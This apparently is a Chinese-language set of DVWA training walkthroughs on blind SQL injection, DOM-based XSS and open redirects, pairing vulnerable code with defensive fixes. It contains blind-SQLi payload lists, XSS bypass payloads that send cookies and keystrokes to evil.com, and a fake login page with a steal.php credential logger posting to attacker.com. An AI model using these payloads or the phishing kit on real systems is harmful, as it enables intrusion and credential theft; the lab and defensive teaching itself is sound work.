        // prepare() - 准备SQL语句
        // :id - 命名参数占位符
        //
        // 原理：
        // 1. SQL结构和数据完全分离
        // 2. 参数永远不会被当作SQL代码执行
        // 3. 数据库引擎知道:id是数据，不是代码
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );

        // ★★★ 绑定参数 ★★★
        // bindParam() - 将变量绑定到参数
        // PDO::PARAM_INT - 参数类型为整数
        //
        // 作用：
        // 1. 明确指定参数类型
        // 2. 防止类型混淆攻击
        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        // ★★★ 执行查询 ★★★
        // execute() - 执行预编译语句
        // 此时才真正执行SQL
        // 参数值被安全地插入
        $data->execute();

        // ★★★ 获取结果 ★★★
        // fetch() - 获取一行结果
        // 如果没有结果，返回false
        if( $data->rowCount() == 1 ) {
            // ★★★ 改进3：显示具体数据 ★★★
            // 因为已经完全安全，可以显示数据
            $row = $data->fetch();
            echo 'User ID exists in the database.
';
            echo 'First name: ' . $row[ 'first_name' ] . '
';
            echo 'Surname: ' . $row[ 'last_name' ] . '
';
        }
        else {
            echo 'User ID is MISSING from the database.
';
        }
    }
    else {
        // ★★★ 输入不是数字，直接拒绝 ★★★
        echo 'Invalid input: must be numeric
';
    }
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

完善的防护机制

多层防御：

CSRF Token - 防止跨站请求伪造
输入验证 - is_numeric()白名单
PDO预编译 - SQL结构和数据分离
参数类型绑定 - PDO::PARAM_INT
LIMIT限制 - 防止返回过多数据

PDO预编译工作原理：

传统拼接（不安全）:
$query = "SELECT * FROM users WHERE id = '$id'";
↓
攻击：$id = "1' OR '1'='1"
↓
结果：SELECT * FROM users WHERE id = '1' OR '1'='1'
↓
SQL注入成功！

PDO预编译（安全）:
$stmt = $db->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
↓
攻击：$id = "1' OR '1'='1"
↓
PDO处理：将"1' OR '1'='1"作为整数0
或拒绝（不是有效整数）
↓
SQL注入失败！

为什么无法攻破？

所有攻击都被阻止：

攻击1：1' OR '1'='1
is_numeric() → False → 拒绝

攻击2：1 OR 1=1
is_numeric() → False → 拒绝（包含空格）

攻击3：1
is_numeric() → True
PDO → 安全执行
结果：正常查询，无法注入

攻击4：1; DROP TABLE users; --
is_numeric() → False → 拒绝

攻击5：使用十六进制/Unicode绕过
is_numeric() → False → 拒绝

关键防御点：

白名单验证 - 只接受数字
预编译语句 - SQL结构固定
参数绑定 - 类型强制转换
双重保护 - 验证 + PDO

防御建议

代码层面

1. 使用PDO预编译（最佳方案）

// ✅ 正确：PDO预编译
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 或使用execute()直接传递参数
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);

2. 输入验证和白名单

// 验证数字
if (!is_numeric($id)) {
    die('Invalid input');
}

// 验证字符串（白名单）
$allowed = ['admin', 'user', 'guest'];
if (!in_array($input, $allowed)) {
    die('Invalid input');
}

// 正则验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
    die('Invalid characters');
}

3. 最小权限原则

// 数据库用户只有SELECT权限
// 即使被注入，也无法DELETE/UPDATE/DROP

// config.php
$db_user = 'read_only_user'; // 只读用户
$db_pass = 'secure_password';

// 授权（在MySQL中）
GRANT SELECT ON database.* TO 'read_only_user'@'localhost';

4. 错误处理

// ❌ 不要显示数据库错误
// die(mysql_error());

// ✅ 记录错误到日志
try {
    $stmt->execute();
} catch (PDOException $e) {
    error_log('Database error: ' . $e->getMessage());
    die('An error occurred');
}

检测层面

1. WAF规则

# ModSecurity规则示例
SecRule ARGS "@detectSQLi" \
    "id:1000,phase:2,block,msg:'SQL Injection Detected'"

# 检测常见SQL注入模式
SecRule ARGS "@rx (union|select|insert|update|delete|drop|exec|script)" \
    "id:1001,phase:2,block,msg:'SQL Keyword Detected'"

2. 监控异常查询

// 记录慢查询
$start = microtime(true);
$stmt->execute();
$duration = microtime(true) - $start;

if ($duration > 1.0) {
    // 查询超过1秒，可能是时间盲注
    logSecurityEvent('Slow query detected', [
        'duration' => $duration,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'query' => $query
    ]);
}

3. 限流和账户锁定

// 检测暴力破解
function checkAttempts($ip) {
    $attempts = getAttempts($ip, 60); // 过去60秒

    if ($attempts > 10) {
        // 锁定IP 5分钟
        lockIP($ip, 300);
        die('Too many attempts');
    }

    recordAttempt($ip);
}

工具使用

SQLMap防御测试

# 测试自己的应用
sqlmap -u "http://your-site.com/page?id=1" \
       --batch \
       --level=5 \
       --risk=3

# 如果SQLMap无法注入，说明防护有效

代码审计工具

# 使用PHPStan检查SQL注入
phpstan analyze src/ --level=8

# 使用SonarQube
sonar-scanner \
    -Dsonar.projectKey=myproject \
    -Dsonar.sources=src

总结对比

特性	Low	Medium	High	Impossible
查询方式	字符串拼接	mysqli_escape	mysqli_escape	PDO预编译
参数传递	GET	POST	Cookie	GET
输入验证	❌	❌	❌	✅ is_numeric
错误信息	✅ 显示	❌ 隐藏	❌ 隐藏	❌ 隐藏
限流	❌	❌	✅ 弱限流	✅ CSRF
LIMIT	❌	❌	✅ LIMIT 1	✅ LIMIT 1
攻击难度	极易	简单	中等	极难
布尔盲注	✅ 可行	✅ 可行	✅ 可行	❌ 不可行
时间盲注	✅ 可行	✅ 可行	✅ 可行	❌ 不可行

常用Payload集合

布尔盲注

-- 基础测试
1' AND 1=1 --        → True
1' AND 1=2 --        → False

-- 数据库信息
1' AND LENGTH(database())>5 --
1' AND SUBSTRING(database(),1,1)='d' --
1' AND ASCII(SUBSTRING(database(),1,1))>100 --

-- 表名枚举
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5 --
1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' --

-- 数据提取
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5' --

时间盲注

-- MySQL
1' AND SLEEP(5) --
1' AND IF(1=1, SLEEP(5), 0) --
1' AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(5), 0) --

-- 基于BENCHMARK
1' AND BENCHMARK(5000000, MD5('test')) --

-- PostgreSQL
1' AND pg_sleep(5) --

-- SQL Server
1'; WAITFOR DELAY '00:00:05' --

绕过技巧

-- 大小写混淆
1' AnD 1=1 --
1' aNd 1=1 --

-- 内联注释
1' AND/**/1=1 --
1'/*comment*/AND/*comment*/1=1--

-- 编码绕过
1' AND 0x31=0x31 --
1' AND CHAR(49)=CHAR(49) --

实战建议

盲注攻击步骤：

确认注入点（测试True/False）
确定数据库类型和版本
枚举数据库名和表名
枚举列名
逐字符提取数据
破解密码哈希

自动化工具：

SQLMap - 全自动SQL注入工具
NoSQLMap - NoSQL盲注工具
Burp Suite - 手动测试和自动化

防御检查：

✅ 所有查询使用预编译
✅ 输入验证（白名单）
✅ 最小权限
✅ 限流机制
✅ 错误不泄露信息
✅ 定期安全审计

道德准则：

只在授权环境测试
不窃取真实数据
学习是为了构建安全系统

DVWA - XSS (DOM) 攻防练习详解

2025-11-20T15:31:37.128Z

漏洞简介

什么是DOM型XSS（DOM-based Cross-Site Scripting）？

DOM型XSS是一种特殊的XSS攻击，攻击代码的执行完全发生在客户端（浏览器），不经过服务器处理。漏洞存在于页面的JavaScript代码中，通过不安全的DOM操作导致恶意脚本执行。

与其他XSS的区别：

特性	反射型XSS	存储型XSS	DOM型XSS
数据流向	客户端→服务器→客户端	客户端→服务器→数据库→客户端	客户端→客户端
服务器参与	✓	✓	✗
持久化	✗	✓	✗
检测难度	中	中	高

DOM型XSS的特点：

攻击载荷在URL的Fragment（#后面）中
不会发送到服务器
JavaScript直接读取并处理
服务器日志无法记录
WAF难以检测

攻击流程：

1. 用户访问：http://example.com/#<script>alert(1)script>
2. 浏览器加载页面
3. JavaScript读取location.hash
4. 不安全的DOM操作（如innerHTML）
5. 恶意脚本执行

危害：

窃取Cookie和Session
键盘记录
页面劫持
钓鱼攻击
蠕虫传播

常见的危险Sources（输入源）：

location.hash
location.search
location.href
document.URL
document.referrer
window.name

常见的危险Sinks（输出点）：

innerHTML
outerHTML
document.write()
document.writeln()
eval()
setTimeout() / setInterval()
element.setAttribute()

Low 难度

攻击目标

直接使用document.write()输出用户输入，完全不过滤。

前端代码分析

html>
<html>
<head>
    <title>XSS (DOM)title>
head>
<body>


<form name="XSS" method="GET">
    <select name="default">
        <option value="English">Englishoption>
        <option value="French">Frenchoption>
        <option value="Spanish">Spanishoption>
        <option value="German">Germanoption>
    select>
    <input type="submit" value="Select" />
form>

<script>
// ★★★ 核心漏洞：不安全的DOM操作 ★★★

// 检查URL中是否有default参数
// document.location.href - 获取完整URL
// indexOf() - 查找字符串位置
// 例如：http://example.com/?default=English
if (document.location.href.indexOf("default=") >= 0) {

    // ★★★ 危险操作1：从URL中提取参数 ★★★
    // document.location.href.substring() - 提取子字符串
    // indexOf("default=") + 8 - 从"default="后开始
    // 结果：提取default参数的值
    //
    // 问题：没有任何验证或编码！
    // 攻击者可以在URL中注入任意内容
    var langDefault = document.location.href.substring(
        document.location.href.indexOf("default=") + 8
    );

    // ★★★ 危险操作2：使用document.write()直接输出 ★★★
    // document.write() - 向文档写入内容
    // 作用：在页面中动态插入HTML
    //
    // 问题：
    // 1. 不对langDefault进行任何编码
    // 2. 如果langDefault包含HTML标签，会被浏览器解析执行
    // 3. 如果包含忽略大小写 - 防止
白名单检查 → 失败（不在列表中）
结果：显示"Invalid selection"

攻击2：?default=src=x onerror=alert(1)>
白名单检查 → 失败
结果：显示"Invalid selection"

攻击3：?default=English
白名单检查 → 失败（完全匹配）
结果：显示"Invalid selection"

攻击4：?default=English
白名单检查 → 通过
输出方式 → textContent（纯文本）
结果：即使值被修改，也不会执行脚本

关键防御点：

Source控制 - URL参数经过严格验证
Sink安全 - 使用textContent而不是innerHTML
白名单机制 - 默认拒绝策略
无解析点 - 没有地方会解析HTML

防御建议

代码层面

1. 避免危险的Sinks

// 危险 ✗
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
element.setAttribute('onclick', userInput);

// 安全 ✓
element.textContent = userInput;
element.setAttribute('data-value', userInput);
var text = document.createTextNode(userInput);
element.appendChild(text);

2. 验证和清理输入

// 白名单验证
function isValidLanguage(lang) {
    const allowed = ['English', 'French', 'Spanish', 'German'];
    return allowed.includes(lang);
}

// URL解码
var input = decodeURIComponent(userInput);

// HTML编码
function escapeHtml(str) {
    var div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

3. 使用安全的API

// 使用textContent
element.textContent = userInput;

// 使用createElement
var option = document.createElement('option');
option.textContent = userInput;
select.appendChild(option);

// 使用setAttribute（对于数据属性）
element.setAttribute('data-value', userInput);

4. 实施内容安全策略（CSP）


<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'; object-src 'none';">


Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none';

5. 使用DOMPurify库

// 引入DOMPurify


// 清理HTML
var clean = DOMPurify.sanitize(dirtyHTML);
element.innerHTML = clean;

框架层面

React示例

// React自动转义
function Component({ userInput }) {
    // 安全：自动转义
    return <div>{userInput}div>;

    // 危险：dangerouslySetInnerHTML
    return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}

Vue示例


{{ userInput }}

Angular示例

// Angular自动清理
@Component({
    template: '{{ userInput }}
'  // 安全
})

// 使用DomSanitizer
constructor(private sanitizer: DomSanitizer) {}
get safeHtml() {
    return this.sanitizer.sanitize(SecurityContext.HTML, this.userInput);
}

检测工具

手动审计
- 搜索危险的Sinks: innerHTML, document.write, eval
- 检查Sources: location.hash, location.search, document.URL
- 追踪数据流: Source → Processing → Sink
自动化工具
- DOM Invader (Burp Suite扩展)
- DOM XSS Scanner
- ESLint + security插件

浏览器DevTools

1
2
3

// 在Console中测试
console.log(document.location.hash);
console.log(document.URL);

监控层面

CSP Report

1 2	<meta http-equiv="Content-Security-Policy" content="default-src 'self'; report-uri /csp-report">

日志记录

// 记录异常的输入
if (!isValidInput(input)) {
    logSecurityEvent('Invalid DOM input detected', input);
}

总结对比

特性	Low	Medium	High	Impossible
输入验证	❌	过滤">

绕过过滤


<ScRiPt>alert('XSS')ScRiPt>
<IMG SRC=x ONERROR=alert('XSS')>


<img src=x onerror=alert('XSS')>
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('XSS')>



<imgsrc=xonerror=alert('XSS')>


<img src=x onerror=alert(String.fromCharCode(88,83,83))>

窃取数据


<script>document.location='http://evil.com/?c='+document.cookiescript>
<img src=x onerror="fetch('http://evil.com/?c='+document.cookie)">


<script>document.onkeypress=e=>fetch('http://evil.com/?k='+e.key)script>


<script>document.forms[0].action='http://evil.com/phish'script>

实战建议

学习路径：

Low难度 - 理解DOM XSS原理和数据流
Medium难度 - 学习绕过简单过滤
High难度 - 理解白名单防御
Impossible难度 - 掌握完善的防御机制

攻击技巧：

使用浏览器DevTools观察DOM操作
寻找Source→Sink的数据流
测试各种HTML标签和事件处理器
利用URL Fragment（#）绕过WAF

检测技巧：

搜索innerHTML、document.write、eval
检查location.hash、document.URL的使用
使用DOM Invader工具自动检测
审计JavaScript代码的数据流

防御重点：

使用textContent而不是innerHTML
实施严格的白名单验证
避免eval()、document.write()
实施CSP策略
使用安全的框架（React、Vue等）

道德准则：

只在授权环境测试
不利用DOM XSS攻击真实用户
学习是为了构建安全的应用

DVWA - Open HTTP Redirect (开放重定向) 攻防练习详解

2025-11-20T15:31:37.127Z

漏洞简介

什么是开放重定向（Open Redirect）？

开放重定向漏洞允许攻击者控制应用程序的重定向目标，将用户重定向到任意外部网站。虽然看似危害较小，但可用于钓鱼攻击和绕过安全控制。

HTTP重定向机制：

// 方法1：HTTP响应头
header("Location: https://example.com");

// 方法2：HTML meta标签
"refresh" content="0;url=https://example.com">

// 方法3：JavaScript
window.location = "https://example.com";

攻击场景：

合法使用：
https://example.com/redirect?url=https://example.com/success
→ 重定向到同域名的成功页面

恶意利用：
https://example.com/redirect?url=https://evil.com/phishing
→ 重定向到钓鱼网站

危害：

钓鱼攻击
- 用户信任合法域名
- 被重定向到伪造网站
- 输入凭证被窃取
绕过安全控制
- 绕过URL黑名单
- 绕过SSRF防护
- 绕过CSP策略
会话劫持
- 重定向时泄露Session ID
- Referer头包含敏感信息
恶意软件分发
- 利用信任关系传播恶意软件

利用链：

1. 攻击者发送：https://bank.com/redirect?url=https://evil.com/fake-login
2. 用户点击（信任bank.com域名）
3. 自动重定向到evil.com
4. 用户看到伪造的登录页面
5. 输入凭证 → 被窃取

DVWA场景：
一个登录后的重定向功能，用于跳转到指定页面。

Low 难度

攻击目标

完全不验证重定向目标，可重定向到任意URL。

后端代码分析



// 检查是否有重定向参数
// isset() - 检查变量是否存在
// $_GET['redirect'] - 从URL获取重定向参数
if( isset( $_GET[ 'redirect' ] ) ) {

    // ★★★ 危险操作：直接获取用户输入，无任何验证 ★★★
    // 攻击者可以指定任意URL
    // 例如：?redirect=https://evil.com
    $redirect = $_GET[ 'redirect' ];

    // ★★★ 危险操作：直接重定向到用户指定的URL ★★★
    // header() - 设置HTTP响应头
    // Location - 重定向到指定URL
    //
    // 问题：
    // 1. 不检查URL是否是内部链接
    // 2. 不检查URL是否是合法域名
    // 3. 不验证URL格式
    // 4. 攻击者可以重定向到任何网站
    header( "Location: " . $redirect );

    // ★★★ 应该调用exit()停止脚本执行 ★★★
    // 但这里没有，可能导致额外问题
    // exit;
}

?>

HTML表单：

html>
<html>
<head>
    <title>Redirecttitle>
head>
<body>
    <h1>Redirect Exampleh1>

    
    <p>
        <a href="?redirect=success.php">Go to success pagea>
    p>

    <p>
        <a href="?redirect=dashboard.php">Go to dashboarda>
    p>

    
    
    
body>
html>

漏洞分析

核心问题：

无URL验证 - 接受任意URL
无域名检查 - 不限制目标域名
无协议检查 - http、https、javascript:都接受
无白名单 - 没有允许的URL列表

攻击数据流：

用户输入: ?redirect=https://evil.com
    ↓
直接获取: $redirect = $_GET['redirect']
    ↓
直接重定向: header("Location: $redirect")
    ↓
浏览器跳转: https://evil.com

攻击步骤

步骤1：基础重定向攻击

测试1：重定向到外部网站

URL: ?redirect=https://google.com
结果：成功重定向到Google

URL: ?redirect=https://evil.com
结果：成功重定向到恶意网站

步骤2：构造钓鱼攻击

创建伪造登录页面（evil.com/fake-login.html）：

html>
<html>
<head>
    <title>DVWA Logintitle>
    <style>
        /* 模仿DVWA的样式 */
        body {
            font-family: Arial;
            background: #f0f0f0;
        }
        .login-box {
            width: 300px;
            margin: 100px auto;
            background: white;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        h2 {
            text-align: center;
            color: #333;
        }
        input {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 3px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 3px;
            cursor: pointer;
        }
    style>
head>
<body>
    <div class="login-box">
        <h2>Session Expiredh2>
        <p>Please login again:p>

        <form action="https://attacker.com/steal.php" method="POST">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Loginbutton>
        form>
    div>

    <script>
    // 可选：窃取Referer中的信息
    fetch('https://attacker.com/log.php?ref=' + encodeURIComponent(document.referrer));
    script>
body>
html>

攻击链接：

https://dvwa.local/vulnerabilities/redirect/?redirect=https://evil.com/fake-login.html

用户点击后：
1. 看到来自dvwa.local的链接（信任）
2. 自动跳转到evil.com
3. 看到伪造的登录页面
4. 输入凭证
5. 凭证被发送到attacker.com/steal.php

steal.php（窃取凭证）：


// 记录窃取的凭证
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');

$log = "$time - IP: $ip - User: $username - Pass: $password\n";

file_put_contents('stolen_credentials.txt', $log, FILE_APPEND);

// 重定向回真实网站（隐蔽）
header("Location: https://dvwa.local/login.php?error=invalid");
?>

步骤3：使用JavaScript协议

1
2
3

URL: ?redirect=javascript:alert('XSS')

某些浏览器可能执行JavaScript（虽然现代浏览器有防护）

步骤4：绕过简单的协议检查

如果代码只检查http/https：

?redirect=//evil.com
→ 协议相对URL，使用当前协议

?redirect=https:evil.com
→ 某些解析器可能误判

?redirect=HtTpS://evil.com
→ 大小写混淆

步骤5：结合XSS攻击


?redirect="><script>alert('XSS')script>

可能导致XSS + 重定向组合攻击

Medium 难度

攻击目标

简单的域名过滤，但可以绕过。

后端代码分析



if( isset( $_GET[ 'redirect' ] ) ) {

    $redirect = $_GET[ 'redirect' ];

    // ★★★ 新增：简单的域名检查 ★★★
    // 使用正则表达式检查URL
    // preg_match() - 正则匹配函数
    // 参数1：正则表达式
    // 参数2：要匹配的字符串
    // 返回值：1匹配，0不匹配
    //
    // 正则：/http[s]?:\/\/example\.com/i
    // 分解：
    // http[s]? - http或https
    // :\/\/ - ://
    // example\.com - 域名
    // i - 不区分大小写
    //
    // 问题：
    // 1. 只检查是否"包含"域名，不是完整匹配
    // 2. evil.com/page?url=http://example.com 会通过
    // 3. http://example.com.evil.com 会通过
    if( preg_match( "/http[s]?:\/\/example\.com/i", $redirect ) ) {

        // 包含example.com，允许重定向
        header( "Location: " . $redirect );
        exit;

    } else {

        // 不包含example.com，拒绝
        echo "Invalid redirect URL
";
    }
}

?>

新增防护

正则检查 - 检查URL是否包含合法域名
协议限制 - 只允许http/https

仍存在的漏洞

核心问题：正则表达式使用不当

// 错误的正则：只要包含example.com就通过
preg_match("/http[s]?:\/\/example\.com/i", $url)

// 可以绕过的URL：
"http://evil.com?fake=http://example.com"
"http://example.com.evil.com"
"http://evil.com#http://example.com"

绕过方法

方法1：域名后缀绕过

注册域名：example.com.evil.com

URL: ?redirect=http://example.com.evil.com

正则检查：
/http[s]?:\/\/example\.com/i 匹配到 "http://example.com"
→ 通过检查

实际重定向：http://example.com.evil.com（恶意网站）

方法2：使用@符号

URL: ?redirect=http://example.com@evil.com

解析：
正则看到：http://example.com
浏览器解析：http://evil.com (example.com被当作用户名)

结果：重定向到evil.com

方法3：URL参数绕过

URL: ?redirect=http://evil.com?ref=http://example.com

正则检查：包含"http://example.com" → 通过
实际重定向：http://evil.com

方法4：Fragment绕过

URL: ?redirect=http://evil.com#http://example.com

正则检查：包含"http://example.com" → 通过
实际重定向：http://evil.com（#后面是fragment，不影响域名）

方法5：URL编码绕过

URL: ?redirect=http://evil.com%3Furl%3Dhttp://example.com

解码后：http://evil.com?url=http://example.com
正则检查：通过
实际重定向：evil.com

High 难度

攻击目标

更严格的域名检查，但仍有绕过可能。

后端代码分析



if( isset( $_GET[ 'redirect' ] ) ) {

    $redirect = $_GET[ 'redirect' ];

    // ★★★ 改进：使用parse_url()解析URL ★★★
    // parse_url() - 解析URL，返回各个组成部分
    // 返回数组：
    // ['scheme'] => 'https'
    // ['host'] => 'example.com'
    // ['path'] => '/page'
    // ['query'] => 'param=value'
    //
    // 这比正则更可靠
    $parsed_url = parse_url( $redirect );

    // ★★★ 检查是否成功解析 ★★★
    if( !$parsed_url ) {
        echo "Invalid URL format
";
        exit;
    }

    // ★★★ 改进：检查host字段 ★★★
    // 只允许特定域名
    $allowed_hosts = [
        'example.com',
        'www.example.com',
        'subdomain.example.com'
    ];

    $host = $parsed_url['host'] ?? '';

    // ★★★ 检查host是否在白名单中 ★★★
    // in_array() - 检查数组中是否存在某值
    if( in_array( $host, $allowed_hosts ) ) {

        // 域名在白名单中，允许重定向
        header( "Location: " . $redirect );
        exit;

    } else {

        // ★★★ 问题：错误信息可能泄露白名单 ★★★
        echo "Invalid host: $host. Allowed: " . implode(', ', $allowed_hosts) . "
";
    }
}

?>

新增防护

parse_url()解析 - 正确解析URL结构
白名单检查 - 只允许特定域名
检查host字段 - 验证域名部分

仍存在的漏洞

可能的绕过：

URL解析差异 - 不同解析器对URL的理解不同
协议相对URL - //example.com
端口号绕过 - example.com:80
IPv6绕过 - [::1]

绕过方法

方法1：利用解析器差异

某些情况下，parse_url()和浏览器解析URL的方式不同

URL: http://example.com\@evil.com

parse_url()可能认为：
host = "example.com"

但浏览器可能认为：
host = "evil.com"

结果：检查通过，但重定向到evil.com

方法2：协议相对URL

如果允许的白名单没有检查协议：

URL: ?redirect=//evil.com

某些配置下可能绕过检查

方法3：端口绕过

URL: ?redirect=http://example.com:8080@evil.com

或
URL: ?redirect=http://example.com%2f.evil.com

实际测试：

import requests
from urllib.parse import urlencode

url = "http://dvwa.local/vulnerabilities/redirect/"
cookies = {
    'security': 'high',
    'PHPSESSID': 'your_session'
}

# 测试各种绕过payload
payloads = [
    "http://example.com@evil.com",
    "http://example.com\\@evil.com",
    "http://example.com%2f.evil.com",
    "//evil.com",
    "http://example.com:80@evil.com"
]

for payload in payloads:
    params = {'redirect': payload}
    response = requests.get(url, params=params, cookies=cookies, allow_redirects=False)

    if response.status_code == 302:
        location = response.headers.get('Location')
        print(f"[+] Payload worked: {payload}")
        print(f"    Redirects to: {location}")
    else:
        print(f"[-] Payload blocked: {payload}")

Impossible 难度

攻击目标

完善的URL验证，真正安全。

后端代码分析



if( isset( $_GET[ 'redirect' ] ) ) {

    // ★★★ 改进1：验证Anti-CSRF token ★★★
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    $redirect = $_GET[ 'redirect' ];

    // ★★★ 核心防护1：严格的白名单 ★★★
    // 定义允许的重定向URL（相对路径或绝对路径）
    $allowed_redirects = [
        'success.php',
        'dashboard.php',
        '/vulnerabilities/redirect/success.php',
        'https://www.example.com/success'
    ];

    // ★★★ 核心防护2：完全匹配，不是包含 ★★★
    // in_array() - 严格检查
    // 参数3：true表示严格比较（类型和值都要相等）
    if( in_array( $redirect, $allowed_redirects, true ) ) {

        // ★★★ 额外检查：如果是绝对URL，验证协议和域名 ★★★
        if( strpos( $redirect, 'http' ) === 0 ) {
            // 解析URL
            $parsed = parse_url( $redirect );

            if( !$parsed ) {
                echo "Invalid URL format
";
                exit;
            }

            // ★★★ 验证协议 ★★★
            $allowed_schemes = ['http', 'https'];
            $scheme = $parsed['scheme'] ?? '';

            if( !in_array( $scheme, $allowed_schemes ) ) {
                echo "Invalid protocol
";
                exit;
            }

            // ★★★ 验证域名 ★★★
            $allowed_domains = ['www.example.com', 'example.com'];
            $host = $parsed['host'] ?? '';

            if( !in_array( $host, $allowed_domains ) ) {
                echo "Invalid domain
";
                exit;
            }

            // ★★★ 验证端口（如果有） ★★★
            $port = $parsed['port'] ?? null;
            if( $port !== null && !in_array( $port, [80, 443] ) ) {
                echo "Invalid port
";
                exit;
            }
        }

        // ★★★ 所有检查通过，安全重定向 ★★★
        header( "Location: " . $redirect );
        exit;

    } else {

        // ★★★ 改进：不透露白名单信息 ★★★
        echo "Invalid redirect target
";

        // ★★★ 记录可疑行为 ★★★
        logSecurityEvent('Invalid redirect attempt', [
            'user' => dvwaCurrentUser(),
            'redirect' => $redirect,
            'ip' => $_SERVER['REMOTE_ADDR'],
            'timestamp' => date('Y-m-d H:i:s')
        ]);
    }
}

// 生成新的CSRF token
generateSessionToken();

?>

HTML表单（包含CSRF token）：

<form method="GET">
    <input type="hidden" name="user_token" value="">

    <label>Select destination:label>
    <select name="redirect">
        <option value="success.php">Success Pageoption>
        <option value="dashboard.php">Dashboardoption>
        <option value="https://www.example.com/success">External Successoption>
    select>

    <button type="submit">Gobutton>
form>

完善的防护机制

多层防御：

CSRF Token - 防止跨站请求伪造
严格白名单 - 只允许预定义的URL
完全匹配 - 不是部分匹配
协议验证 - 只允许http/https
域名验证 - 只允许指定域名
端口验证 - 只允许标准端口
审计日志 - 记录所有失败尝试
不泄露信息 - 错误消息统一

验证流程：

用户选择重定向目标
    ↓
1. 验证CSRF Token → 无效则拒绝
    ↓
2. 检查是否在白名单中 → 不在则拒绝
    ↓
3. 如果是绝对URL：
   a. 验证协议 → 不是http/https则拒绝
   b. 验证域名 → 不在白名单则拒绝
   c. 验证端口 → 非标准端口则拒绝
    ↓
4. 记录重定向日志
    ↓
5. 执行重定向

为什么无法攻破？

所有攻击都被阻止：

攻击1：?redirect=https://evil.com
白名单检查 → 不在列表 → 拒绝

攻击2：?redirect=success.php@evil.com
白名单检查 → 完全不匹配 → 拒绝

攻击3：?redirect=https://example.com.evil.com
白名单检查 → 不在列表 → 拒绝

攻击4：?redirect=//evil.com
白名单检查 → 不在列表 → 拒绝

攻击5：URL编码绕过
白名单检查 → 编码后不匹配 → 拒绝

关键防御点：

白名单机制 - 默认拒绝，只允许明确列出的URL
完全匹配 - 不接受任何变体
多层验证 - 协议、域名、端口都检查
CSRF防护 - 防止攻击者构造恶意链接
审计日志 - 记录所有异常

防御建议

代码层面

1. 使用白名单（最佳方案）

// 定义允许的重定向URL
$allowed_redirects = [
    '/dashboard',
    '/profile',
    '/settings',
    'https://trusted-site.com/page'
];

$redirect = $_GET['redirect'] ?? '';

// 严格匹配
if (!in_array($redirect, $allowed_redirects, true)) {
    die('Invalid redirect');
}

header("Location: $redirect");
exit;

2. 只允许相对路径

// 只允许站内跳转
$redirect = $_GET['redirect'] ?? '/';

// 确保是相对路径
if (strpos($redirect, 'http') !== false ||
    strpos($redirect, '//') !== false) {
    die('Only relative paths allowed');
}

// 额外：防止路径遍历
$redirect = str_replace('..', '', $redirect);

header("Location: $redirect");
exit;

3. 验证域名

function isAllowedDomain($url) {
    $parsed = parse_url($url);

    if (!$parsed || !isset($parsed['host'])) {
        return false;
    }

    $allowed_domains = [
        'example.com',
        'www.example.com',
        'subdomain.example.com'
    ];

    return in_array($parsed['host'], $allowed_domains);
}

$redirect = $_GET['redirect'];

if (!isAllowedDomain($redirect)) {
    die('Invalid domain');
}

header("Location: $redirect");
exit;

4. 使用映射而非直接URL

// 使用ID映射到URL
$redirect_map = [
    'success' => '/success.php',
    'dashboard' => '/dashboard.php',
    'profile' => '/user/profile.php'
];

$redirect_id = $_GET['redirect'] ?? '';

if (!isset($redirect_map[$redirect_id])) {
    die('Invalid redirect ID');
}

header("Location: " . $redirect_map[$redirect_id]);
exit;

5. 添加确认页面

// 重定向到外部网站前显示警告
$redirect = $_GET['redirect'];

if (isExternalUrl($redirect)) {
    // 显示确认页面
    ?>
    You are leaving our site
    You are about to visit:  echo htmlspecialchars($redirect); ?>
    Do you want to continue?
    "$redirect); ?>">Yes, continue
    "/">No, stay here
    
    exit;
}

header("Location: $redirect");
exit;

框架层面

Laravel示例

// 使用Laravel的重定向
Route::get('/redirect', function() {
    $redirect = request('redirect');

    // 白名单检查
    $allowed = [
        route('dashboard'),
        route('profile'),
        'https://trusted-site.com/page'
    ];

    if (!in_array($redirect, $allowed)) {
        abort(400, 'Invalid redirect');
    }

    return redirect($redirect);
});

// 或使用intended()方法（Laravel内置安全重定向）
return redirect()->intended('/dashboard');

Express.js示例

app.get('/redirect', (req, res) => {
    const redirect = req.query.redirect;

    // 白名单
    const allowed = [
        '/dashboard',
        '/profile',
        'https://trusted-site.com/page'
    ];

    if (!allowed.includes(redirect)) {
        return res.status(400).send('Invalid redirect');
    }

    res.redirect(redirect);
});

监控层面

1. 记录所有重定向

function logRedirect($user, $target, $success) {
    $log = [
        'timestamp' => date('Y-m-d H:i:s'),
        'user' => $user,
        'target' => $target,
        'success' => $success,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT']
    ];

    file_put_contents(
